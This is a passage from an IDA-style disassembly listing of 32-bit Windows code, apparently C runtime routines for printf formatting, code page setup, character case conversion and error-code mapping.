69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28F049Bh cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 nop jmp near ptr 267084Bh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 jmp near ptr 28F0BD5h ; --------------------------------------------------------------------------- db 39h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 call near ptr 28F049Bh nop cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr 